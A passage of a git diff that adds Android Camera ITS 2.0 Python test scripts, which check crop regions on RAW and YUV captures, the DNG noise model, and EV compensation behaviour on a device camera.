+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+
+      # Check SKIP conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.manual_sensor(props) and
+          camera_properties_utils.manual_post_proc(props) and
+          camera_properties_utils.per_frame_control(props))
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # Run tests. Run auto, then manual, then auto. Check correct metadata
+      # values and ensure manual settings do not leak into auto captures.
+      test_auto(cam, props, self.log_path)
+      test_manual(cam, props, self.log_path)
+      test_auto(cam, props, self.log_path)
+
+
+if __name__ == '__main__':
+  test_runner.main()
+
diff --git a/apps/CameraITS2.0/tests/scene1_1/test_crop_region_raw.py b/apps/CameraITS2.0/tests/scene1_1/test_crop_region_raw.py
new file mode 100644
index 0000000..4adb6cd
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene1_1/test_crop_region_raw.py
@@ -0,0 +1,187 @@
+# Copyright 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import os.path
+
+from mobly import test_runner
+import numpy as np
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import target_exposure_utils
+
+CROP_FULL_ERROR_THRESHOLD = 3  # pixels
+CROP_REGION_ERROR_THRESHOLD = 0.01  # reltol
+DIFF_THRESH = 0.05  # reltol
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+
+
+class CropRegionRawTest(its_base_test.ItsBaseTest):
+  """Test that RAW streams are not croppable."""
+
+  def test_crop_region_raw(self):
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      log_path = self.log_path
+
+      # Check SKIP conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.compute_target_exposure(props) and
+          camera_properties_utils.raw16(props) and
+          camera_properties_utils.per_frame_control(props) and
+          not camera_properties_utils.mono_camera(props))
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # Calculate the active sensor region for a full (non-cropped) image.
+      a = props['android.sensor.info.activeArraySize']
+      ax, ay = a['left'], a['top']
+      aw, ah = a['right'] - a['left'], a['bottom'] - a['top']
+      logging.debug('Active sensor region: (%d,%d %dx%d)', ax, ay, aw, ah)
+
+      full_region = {
+          'left': 0,
+          'top': 0,
+          'right': aw,
+          'bottom': ah
+      }
+
+      # Calculate a center crop region.
+      zoom = min(3.0, camera_properties_utils.get_max_digital_zoom(props))
+      assert zoom >= 1, 'zoom: %.2f' % zoom
+      crop_w = aw // zoom
+      crop_h = ah // zoom
+
+      crop_region = {
+          'left': aw // 2 - crop_w // 2,
+          'top': ah // 2 - crop_h // 2,
+          'right': aw // 2 + crop_w // 2,
+          'bottom': ah // 2 + crop_h // 2
+      }
+
+      # Capture without a crop region.
+      # Use a manual request with a linear tonemap so that the YUV and RAW
+      # should look the same (once converted by image_processing_utils).
+      e, s = target_exposure_utils.get_target_exposure_combos(log_path, cam)[
+          'minSensitivity']
+      req = capture_request_utils.manual_capture_request(s, e, 0.0, True, props)
+      cap1_raw, cap1_yuv = cam.do_capture(req, cam.CAP_RAW_YUV)
+
+      # Capture with a crop region.
+      req['android.scaler.cropRegion'] = crop_region
+      cap2_raw, cap2_yuv = cam.do_capture(req, cam.CAP_RAW_YUV)
+
+      # Check the metadata related to crop regions.
+      # When both YUV and RAW are requested, the crop region that's
+      # applied to YUV should be reported.
+      # Note that the crop region returned by the cropped captures doesn't
+      # need to perfectly match the one that was requested.
+      imgs = {}
+      for s, cap, cr_expected, err_delta in [
+          ('yuv_full', cap1_yuv, full_region, CROP_FULL_ERROR_THRESHOLD),
+          ('raw_full', cap1_raw, full_region, CROP_FULL_ERROR_THRESHOLD),
+          ('yuv_crop', cap2_yuv, crop_region, CROP_REGION_ERROR_THRESHOLD),
+          ('raw_crop', cap2_raw, crop_region, CROP_REGION_ERROR_THRESHOLD)]:
+
+        # Convert the capture to RGB and dump to a file.
+        img = image_processing_utils.convert_capture_to_rgb_image(cap,
+                                                                  props=props)
+        image_processing_utils.write_image(
+            img, '%s_%s.jpg' % (os.path.join(log_path, NAME), s))
+        imgs[s] = img
+
+        # Get the crop region that is reported in the capture result.
+        cr_reported = cap['metadata']['android.scaler.cropRegion']
+        x, y = cr_reported['left'], cr_reported['top']
+        w = cr_reported['right'] - cr_reported['left']
+        h = cr_reported['bottom'] - cr_reported['top']
+        logging.debug('Crop reported on %s: (%d,%d %dx%d)', s, x, y, w, h)
+
+        # Test that the reported crop region is the same as the expected
+        # one, for a non-cropped capture, and is close to the expected one,
+        # for a cropped capture.
+        ex = CROP_FULL_ERROR_THRESHOLD
+        ey = CROP_FULL_ERROR_THRESHOLD
+        if np.isclose(err_delta, CROP_REGION_ERROR_THRESHOLD, rtol=0.01):
+          ex = aw * err_delta
+          ey = ah * err_delta
+        logging.debug('error X, Y: %.2f, %.2f', ex, ey)
+        e_msg = 'expected: %s, reported: %s, ex: %.2f, ex: %.2f' % (
+            str(cr_expected), str(cr_reported), ex, ey)
+        assert (
+            (abs(cr_expected['left'] - cr_reported['left']) <= ex) and
+            (abs(cr_expected['right'] - cr_reported['right']) <= ex) and
+            (abs(cr_expected['top'] - cr_reported['top']) <= ey) and
+            (abs(cr_expected['bottom'] - cr_reported['bottom']) <= ey)), e_msg
+
+      # Also check the image content; 3 of the 4 shots should match.
+      # Note that all the shots are RGB below; the variable names correspond
+      # to what was captured.
+
+      # Shrink the YUV images 2x2 -> 1 to account for the size reduction that
+      # the raw images went through in the RGB conversion.
+      imgs2 = {}
+      for s, img in imgs.items():
+        h, w, _ = img.shape
+        if s in ['yuv_full', 'yuv_crop']:
+          img = img.reshape(h//2, 2, w//2, 2, 3).mean(3).mean(1)
+          img = img.reshape(h//2, w//2, 3)
+        imgs2[s] = img
+
+      # Strip any border pixels from the raw shots (since the raw images may
+      # be larger than the YUV images). Assume a symmetric padded border.
+      xpad = (imgs2['raw_full'].shape[1] - imgs2['yuv_full'].shape[1]) // 2
+      ypad = (imgs2['raw_full'].shape[0] - imgs2['yuv_full'].shape[0]) // 2
+      wyuv = imgs2['yuv_full'].shape[1]
+      hyuv = imgs2['yuv_full'].shape[0]
+      imgs2['raw_full'] = imgs2['raw_full'][ypad:ypad+hyuv:,
+                                            xpad:xpad+wyuv:,
+                                            ::]
+      imgs2['raw_crop'] = imgs2['raw_crop'][ypad:ypad+hyuv:,
+                                            xpad:xpad+wyuv:,
+                                            ::]
+      logging.debug('Stripping padding before comparison: %dx%d', xpad, ypad)
+
+      for s, img in imgs2.items():
+        image_processing_utils.write_image(
+            img, '%s_comp_%s.jpg' % (os.path.join(log_path, NAME), s))
+
+      # Compute diffs between images of the same type.
+      # The raw_crop and raw_full shots should be identical (since the crop
+      # doesn't apply to raw images), and the yuv_crop and yuv_full shots
+      # should be different.
+      diff_yuv = np.fabs((imgs2['yuv_full'] - imgs2['yuv_crop'])).mean()
+      diff_raw = np.fabs((imgs2['raw_full'] - imgs2['raw_crop'])).mean()
+      logging.debug('YUV diff (crop vs. non-crop): %.3f', diff_yuv)
+      logging.debug('RAW diff (crop vs. non-crop): %.3f', diff_raw)
+
+      assert diff_yuv > DIFF_THRESH, 'diff_yuv: %.3f, THRESH: %.2f' % (
+          diff_yuv, DIFF_THRESH)
+      assert diff_raw < DIFF_THRESH, 'diff_raw: %.3f, THRESH: %.2f' % (
+          diff_raw, DIFF_THRESH)
+
+if __name__ == '__main__':
+  test_runner.main()
+
diff --git a/apps/CameraITS2.0/tests/scene1_1/test_crop_regions.py b/apps/CameraITS2.0/tests/scene1_1/test_crop_regions.py
new file mode 100644
index 0000000..2529e4e
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene1_1/test_crop_regions.py
@@ -0,0 +1,135 @@
+# Copyright 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import os.path
+
+from mobly import test_runner
+import numpy as np
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import target_exposure_utils
+
+# 5 regions specified in normalized (x, y, w, h) coords.
+CROP_REGIONS = [(0.0, 0.0, 0.5, 0.5),  # top-left
+                (0.5, 0.0, 0.5, 0.5),  # top-right
+                (0.0, 0.5, 0.5, 0.5),  # bottom-left
+                (0.5, 0.5, 0.5, 0.5),  # bottom-right
+                (0.25, 0.25, 0.5, 0.5)]  # center
+MIN_DIGITAL_ZOOM_THRESH = 2
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+
+
+class CropRegionsTest(its_base_test.ItsBaseTest):
+  """Test that crop regions works."""
+
+  def test_crop_regions(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      log_path = self.log_path
+
+      # check SKIP conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.compute_target_exposure(props) and
+          camera_properties_utils.freeform_crop(props) and
+          camera_properties_utils.per_frame_control(props))
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      a = props['android.sensor.info.activeArraySize']
+      ax, ay = a['left'], a['top']
+      aw, ah = a['right'] - a['left'], a['bottom'] - a['top']
+      e, s = target_exposure_utils.get_target_exposure_combos(
+          props, cam)['minSensitivity']
+      logging.debug('Active sensor region (%d,%d %dx%d)', ax, ay, aw, ah)
+
+      # Uses a 2x digital zoom.
+      max_digital_zoom = capture_request_utils.get_max_digital_zoom(props)
+      e_msg = 'Max digital zoom: %d, THRESH: %d' % (max_digital_zoom,
+                                                    MIN_DIGITAL_ZOOM_THRESH)
+      assert max_digital_zoom >= MIN_DIGITAL_ZOOM_THRESH, e_msg
+
+      # Capture a full frame.
+      req = capture_request_utils.manual_capture_request(s, e)
+      cap_full = cam.do_capture(req)
+      img_full = image_processing_utils.convert_capture_to_rgb_image(cap_full)
+      wfull, hfull = cap_full['width'], cap_full['height']
+      image_processing_utils.write_image(img_full, '%s_full_%dx%d.jpg' % (
+          os.path.join(log_path, NAME), wfull, hfull))
+
+      # Capture a burst of crop region frames.
+      # Note that each region is 1/2x1/2 of the full frame, and is digitally
+      # zoomed into the full size output image, so must be downscaled (below)
+      # by 2x when compared to a tile of the full image.
+      reqs = []
+      for x, y, w, h in CROP_REGIONS:
+        req = capture_request_utils.manual_capture_request(s, e)
+        req['android.scaler.cropRegion'] = {
+            'top': int(ah * y),
+            'left': int(aw * x),
+            'right': int(aw * (x + w)),
+            'bottom': int(ah * (y + h))}
+        reqs.append(req)
+      caps_regions = cam.do_capture(reqs)
+      match_failed = False
+      for i, cap in enumerate(caps_regions):
+        a = cap['metadata']['android.scaler.cropRegion']
+        ax, ay = a['left'], a['top']
+        aw, ah = a['right'] - a['left'], a['bottom'] - a['top']
+
+        # Match this crop image against each of the five regions of
+        # the full image, to find the best match (which should be
+        # the region that corresponds to this crop image).
+        img_crop = image_processing_utils.convert_capture_to_rgb_image(cap)
+        img_crop = image_processing_utils.downscale_image(img_crop, 2)
+        image_processing_utils.write_image(img_crop, '%s_crop%d.jpg' % (
+            os.path.join(log_path, NAME), i))
+        min_diff = None
+        min_diff_region = None
+        for j, (x, y, w, h) in enumerate(CROP_REGIONS):
+          tile_full = image_processing_utils.get_image_patch(
+              img_full, x, y, w, h)
+          wtest = min(tile_full.shape[1], aw)
+          htest = min(tile_full.shape[0], ah)
+          tile_full = tile_full[0:htest:, 0:wtest:, ::]
+          tile_crop = img_crop[0:htest:, 0:wtest:, ::]
+          image_processing_utils.write_image(
+              tile_full, '%s_fullregion%d.jpg' % (
+                  os.path.join(log_path, NAME), j))
+          diff = np.fabs(tile_full - tile_crop).mean()
+          if min_diff is None or diff < min_diff:
+            min_diff = diff
+            min_diff_region = j
+        if i != min_diff_region:
+          match_failed = True
+        logging.debug('Crop image %d (%d,%d %dx%d) best match with region %d',
+                      i, ax, ay, aw, ah, min_diff_region)
+
+    assert not match_failed
+
+if __name__ == '__main__':
+  test_runner.main()
+
diff --git a/apps/CameraITS2.0/tests/scene1_1/test_dng_noise_model.py b/apps/CameraITS2.0/tests/scene1_1/test_dng_noise_model.py
new file mode 100644
index 0000000..9dbb861
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene1_1/test_dng_noise_model.py
@@ -0,0 +1,172 @@
+# Copyright 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import math
+import os.path
+import matplotlib
+from matplotlib import pylab
+from mobly import test_runner
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+
+
+BAYER_LIST = ['R', 'GR', 'GB', 'B']
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+NUM_STEPS = 4
+PATCH_H = 0.02  # center 2%
+PATCH_W = 0.02
+PATCH_X = 0.5 - PATCH_W/2
+PATCH_Y = 0.5 - PATCH_H/2
+VAR_ATOL_THRESH = 0.0012  # absolute variance delta threshold
+VAR_RTOL_THRESH = 0.2  # relative variance delta threshold
+
+
+class DngNoiseModelTest(its_base_test.ItsBaseTest):
+  """Verify that the DNG raw model parameters are correct.
+
+  Pass if the difference between expected and computed variances is small,
+  defined as being within an absolute variance delta or relative variance
+  delta of the expected variance, whichever is larger. This is to allow the
+  test to pass in the presence of some randomness (since this test is
+  measuring noise of a small patch) and some imperfect scene conditions
+  (since ITS doesn't require a perfectly uniformly lit scene).
+  """
+
+  def test_dng_noise_model(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      log_path = self.log_path
+
+      # check SKIP conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.raw(props) and
+          camera_properties_utils.raw16(props) and
+          camera_properties_utils.manual_sensor(props) and
+          camera_properties_utils.per_frame_control(props) and
+          not camera_properties_utils.mono_camera(props))
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # Expose for the scene with min sensitivity
+      white_level = float(props['android.sensor.info.whiteLevel'])
+      cfa_idxs = image_processing_utils.get_canonical_cfa_order(props)
+      sens_min, _ = props['android.sensor.info.sensitivityRange']
+      sens_max_ana = props['android.sensor.maxAnalogSensitivity']
+      sens_step = (sens_max_ana - sens_min) // NUM_STEPS
+      s_ae, e_ae, _, _, _ = cam.do_3a(get_results=True, do_af=False)
+      # Focus at zero to intentionally blur the scene as much as possible.
+      f_dist = 0.0
+      s_e_prod = s_ae * e_ae
+      sensitivities = range(sens_min, sens_max_ana+1, sens_step)
+
+      var_exp = [[], [], [], []]
+      var_meas = [[], [], [], []]
+      sens_valid = []
+      for sens in sensitivities:
+        # Capture a raw frame with the desired sensitivity
+        exp = int(s_e_prod / float(sens))
+        req = capture_request_utils.manual_capture_request(sens, exp, f_dist)
+        cap = cam.do_capture(req, cam.CAP_RAW)
+        planes = image_processing_utils.convert_capture_to_planes(cap, props)
+        s_read = cap['metadata']['android.sensor.sensitivity']
+        logging.debug('iso_write: %d, iso_read: %d', sens, s_read)
+        if self.debug_mode:
+          img = image_processing_utils.convert_capture_to_rgb_image(
+              cap, props=props)
+          image_processing_utils.write_image(
+              img, '%s_%d.jpg' % (os.path.join(log_path, NAME), sens))
+
+        # Test each raw color channel (R, GR, GB, B)
+        noise_profile = cap['metadata']['android.sensor.noiseProfile']
+        assert len(noise_profile) == len(BAYER_LIST)
+        for i, ch in enumerate(BAYER_LIST):
+          # Get the noise model parameters for this channel of this shot.
+          s, o = noise_profile[cfa_idxs[i]]
+
+          # Use a very small patch to ensure gross uniformity (i.e. so
+          # non-uniform lighting or vignetting doesn't affect the variance
+          # calculation)
+          black_level = image_processing_utils.get_black_level(
+              i, props, cap['metadata'])
+          level_range = white_level - black_level
+          plane = image_processing_utils.get_image_patch(
+              planes[i], PATCH_X, PATCH_Y, PATCH_W, PATCH_H)
+          patch_raw = plane * white_level
+          patch_norm = ((patch_raw - black_level) / level_range)
+
+          # exit if distribution is clipped at 0, otherwise continue
+          mean_img_ch = patch_norm.mean()
+          var_model = s * mean_img_ch + o
+          # This computation is suspicious because if the data were clipped,
+          # the mean and standard deviation could be affected in a way that
+          # affects this check. However, empirically, the mean and standard
+          # deviation change more slowly than the clipping point itself does,
+          # so the check remains correct even after the signal starts to clip.
+          mean_minus_3sigma = mean_img_ch - math.sqrt(var_model) * 3
+          if mean_minus_3sigma < 0:
+            e_msg = 'Pixel distribution crosses 0. Likely black level '
+            e_msg += 'over-clips. Linear model is not valid. '
+            e_msg += 'mean: %.3e, var: %.3e, u-3s: %.3e' % (
+                mean_img_ch, var_model, mean_minus_3sigma)
+            assert mean_minus_3sigma < 0, e_msg
+          else:
+            var = image_processing_utils.compute_image_variances(patch_norm)[0]
+            var_meas[i].append(var)
+            var_exp[i].append(var_model)
+            abs_diff = abs(var - var_model)
+            logging.debug('%s mean: %.3f, var: %.3e, var_model: %.3e',
+                          ch, mean_img_ch, var, var_model)
+            if var_model:
+              rel_diff = abs_diff / var_model
+            else:
+              raise AssertionError(f'{ch} model variance = 0!')
+            logging.debug('abs_diff: %.5f, rel_diff: %.3f', abs_diff, rel_diff)
+        sens_valid.append(sens)
+
+    # plot data and models
+    pylab.figure(NAME)
+    for i, ch in enumerate(BAYER_LIST):
+      pylab.plot(sens_valid, var_exp[i], 'rgkb'[i], label=ch+' expected')
+      pylab.plot(sens_valid, var_meas[i], 'rgkb'[i]+'.--', label=ch+' measured')
+    pylab.title(NAME)
+    pylab.xlabel('Sensitivity')
+    pylab.ylabel('Center patch variance')
+    pylab.ticklabel_format(axis='y', style='sci', scilimits=(-6, -6))
+    pylab.legend(loc=2)
+    matplotlib.pyplot.savefig('%s_plot.png' % os.path.join(log_path, NAME))
+
+    # PASS/FAIL check
+    for i, ch in enumerate(BAYER_LIST):
+      var_diffs = [abs(var_meas[i][j] - var_exp[i][j])
+                   for j in range(len(sens_valid))]
+      logging.debug('%s variance diffs: %s', ch, str(var_diffs))
+      for j, diff in enumerate(var_diffs):
+        thresh = max(VAR_ATOL_THRESH, VAR_RTOL_THRESH*var_exp[i][j])
+        assert diff <= thresh, 'var diff: %.5f, thresh: %.4f' % (diff, thresh)
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS2.0/tests/scene1_1/test_ev_compensation_advanced.py b/apps/CameraITS2.0/tests/scene1_1/test_ev_compensation_advanced.py
new file mode 100644
index 0000000..f6bfa44
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene1_1/test_ev_compensation_advanced.py
@@ -0,0 +1,155 @@
+# Copyright 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import os.path
+import matplotlib
+from matplotlib import pylab
+from mobly import test_runner
+import numpy as np
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+
+LINEAR_TONEMAP_CURVE = [0.0, 0.0, 1.0, 1.0]
+LOCKED = 3
+LUMA_DELTA_THRESH = 0.05
+LUMA_LOCKED_TOL = 0.05
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+PATCH_H = 0.1  # center 10%
+PATCH_W = 0.1
+PATCH_X = 0.5 - PATCH_W/2
+PATCH_Y = 0.5 - PATCH_H/2
+THRESH_CONVERGE_FOR_EV = 8  # AE must converge within this num auto reqs for EV
+YUV_FULL_SCALE = 255.0
+YUV_SAT_MIN = 250.0
+YUV_SAT_TOL = 3.0
+
+
+def create_request_with_ev(ev):
+  req = capture_request_utils.auto_capture_request()
+  req['android.control.aeExposureCompensation'] = ev
+  req['android.control.aeLock'] = True
+  # Use linear tonemap to avoid brightness being impacted by tone curves.
+  req['android.tonemap.mode'] = 0
+  req['android.tonemap.curve'] = {'red': LINEAR_TONEMAP_CURVE,
+                                  'green': LINEAR_TONEMAP_CURVE,
+                                  'blue': LINEAR_TONEMAP_CURVE}
+  return req
+
+
+def extract_luma_from_capture(cap):
+  """Extract luma from capture."""
+  y = image_processing_utils.convert_capture_to_planes(cap)[0]
+  patch = image_processing_utils.get_image_patch(
+      y, PATCH_X, PATCH_Y, PATCH_W, PATCH_H)
+  luma = image_processing_utils.compute_image_means(patch)[0]
+  return luma
+
+
+def create_ev_comp_changes(props):
+  """Create the ev compensation steps and shifts from control params."""
+  ev_compensation_range = props['android.control.aeCompensationRange']
+  range_min = ev_compensation_range[0]
+  range_max = ev_compensation_range[1]
+  ev_per_step = capture_request_utils.rational_to_float(
+      props['android.control.aeCompensationStep'])
+  logging.debug('ev_step_size_in_stops: %d', ev_per_step)
+  steps_per_ev = int(round(1.0 / ev_per_step))
+  ev_steps = range(range_min, range_max + 1, steps_per_ev)
+  ev_shifts = [pow(2, step * ev_per_step) for step in ev_steps]
+  return ev_steps, ev_shifts
+
+
+class EvCompensationAdvancedTest(its_base_test.ItsBaseTest):
+  """Tests that EV compensation is applied."""
+
+  def test_ev_compensation_advanced(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      log_path = self.log_path
+
+      # check SKIP conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.ev_compensation(props) and
+          camera_properties_utils.manual_sensor(props) and
+          camera_properties_utils.manual_post_proc(props) and
+          camera_properties_utils.per_frame_control(props))
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # Create ev compensation changes
+      ev_steps, ev_shifts = create_ev_comp_changes(props)
+
+      # Converge 3A, and lock AE once converged. skip AF trigger as
+      # dark/bright scene could make AF convergence fail and this test
+      # doesn't care the image sharpness.
+      mono_camera = camera_properties_utils.mono_camera(props)
+      cam.do_3a(ev_comp=0, lock_ae=True, do_af=False, mono_camera=mono_camera)
+
+      # Create requests and capture
+      largest_yuv = capture_request_utils.get_largest_yuv_format(props)
+      match_ar = (largest_yuv['width'], largest_yuv['height'])
+      fmt = capture_request_utils.get_smallest_yuv_format(
+          props, match_ar=match_ar)
+      lumas = []
+      for ev in ev_steps:
+        # Capture a single shot with the same EV comp and locked AE.
+        req = create_request_with_ev(ev)
+        caps = cam.do_capture([req]*THRESH_CONVERGE_FOR_EV, fmt)
+        for cap in caps:
+          if cap['metadata']['android.control.aeState'] == LOCKED:
+            lumas.append(extract_luma_from_capture(cap))
+            break
+          assert cap['metadata']['android.control.aeState'] == LOCKED
+        logging.debug('lumas in AE locked captures: %s', str(lumas))
+
+      i_mid = len(ev_steps) // 2
+      luma_normal = lumas[i_mid] / ev_shifts[i_mid]
+      expected_lumas = [min(1.0, luma_normal*shift) for shift in ev_shifts]
+
+      # Create plot
+      pylab.figure(NAME)
+      pylab.plot(ev_steps, lumas, '-ro', label='measured', alpha=0.7)
+      pylab.plot(ev_steps, expected_lumas, '-bo', label='expected', alpha=0.7)
+      pylab.title(NAME)
+      pylab.xlabel('EV Compensation')
+      pylab.ylabel('Mean Luma (Normalized)')
+      pylab.legend(loc='lower right', numpoints=1, fancybox=True)
+      matplotlib.pyplot.savefig(
+          '%s_plot_means.png' % os.path.join(log_path, NAME))
+
+      luma_diffs = [expected_lumas[i]-lumas[i] for i in range(len(ev_steps))]
+      max_diff = max(abs(i) for i in luma_diffs)
+      avg_diff = abs(np.array(luma_diffs)).mean()
+      logging.debug(
+          'Max delta between modeled and measured lumas: %.4f', max_diff)
+      logging.debug(
+          'Avg delta between modeled and measured lumas: %.4f', avg_diff)
+      assert max_diff < LUMA_DELTA_THRESH, 'diff: %.3f, THRESH: %.2f' % (
+          max_diff, LUMA_DELTA_THRESH)
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS2.0/tests/scene1_1/test_ev_compensation_basic.py b/apps/CameraITS2.0/tests/scene1_1/test_ev_compensation_basic.py
new file mode 100644
index 0000000..471d4ab
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene1_1/test_ev_compensation_basic.py
@@ -0,0 +1,145 @@
+# Copyright 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import os.path
+import matplotlib
+from matplotlib import pylab
+from mobly import test_runner
+import numpy as np
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+
+LOCKED = 3
+LUMA_LOCKED_TOL = 0.05
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+NUM_UNSATURATED_EVS = 3
+PATCH_H = 0.1  # center 10%
+PATCH_W = 0.1
+PATCH_X = 0.5 - PATCH_W/2
+PATCH_Y = 0.5 - PATCH_H/2
+THRESH_CONVERGE_FOR_EV = 8  # AE must converge within this num
+YUV_FULL_SCALE = 255.0
+YUV_SAT_MIN = 250.0
+YUV_SAT_TOL = 3.0
+
+
+def create_request_with_ev(ev):
+  req = capture_request_utils.auto_capture_request()
+  req['android.control.aeExposureCompensation'] = ev
+  req['android.control.aeLock'] = True
+  return req
+
+
+def extract_luma_from_capture(cap):
+  """Extract luma from capture."""
+  y = image_processing_utils.convert_capture_to_planes(cap)[0]
+  patch = image_processing_utils.get_image_patch(
+      y, PATCH_X, PATCH_Y, PATCH_W, PATCH_H)
+  luma = image_processing_utils.compute_image_means(patch)[0]
+  return luma
+
+
+class EvCompensationBasicTest(its_base_test.ItsBaseTest):
+  """Tests that EV compensation is applied."""
+
+  def test_ev_compensation_basic(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      log_path = self.log_path
+
+      # check SKIP conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.ev_compensation(props) and
+          camera_properties_utils.ae_lock(props))
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # Create ev compensation changes
+      ev_per_step = capture_request_utils.rational_to_float(
+          props['android.control.aeCompensationStep'])
+      steps_per_ev = int(1.0 / ev_per_step)
+      evs = range(-2 * steps_per_ev, 2 * steps_per_ev + 1, steps_per_ev)
+
+      # Converge 3A, and lock AE once converged. skip AF trigger as
+      # dark/bright scene could make AF convergence fail and this test
+      # doesn't care the image sharpness.
+      mono_camera = camera_properties_utils.mono_camera(props)
+      cam.do_3a(ev_comp=0, lock_ae=True, do_af=False, mono_camera=mono_camera)
+
+      # Do captures and extract information
+      largest_yuv = capture_request_utils.get_largest_yuv_format(props)
+      match_ar = (largest_yuv['width'], largest_yuv['height'])
+      fmt = capture_request_utils.get_smallest_yuv_format(
+          props, match_ar=match_ar)
+      lumas = []
+      for ev in evs:
+        # Capture a single shot with the same EV comp and locked AE.
+        req = create_request_with_ev(ev)
+        caps = cam.do_capture([req]*THRESH_CONVERGE_FOR_EV, fmt)
+        luma_locked = []
+        for i, cap in enumerate(caps):
+          if cap['metadata']['android.control.aeState'] == LOCKED:
+            luma = extract_luma_from_capture(cap)
+            luma_locked.append(luma)
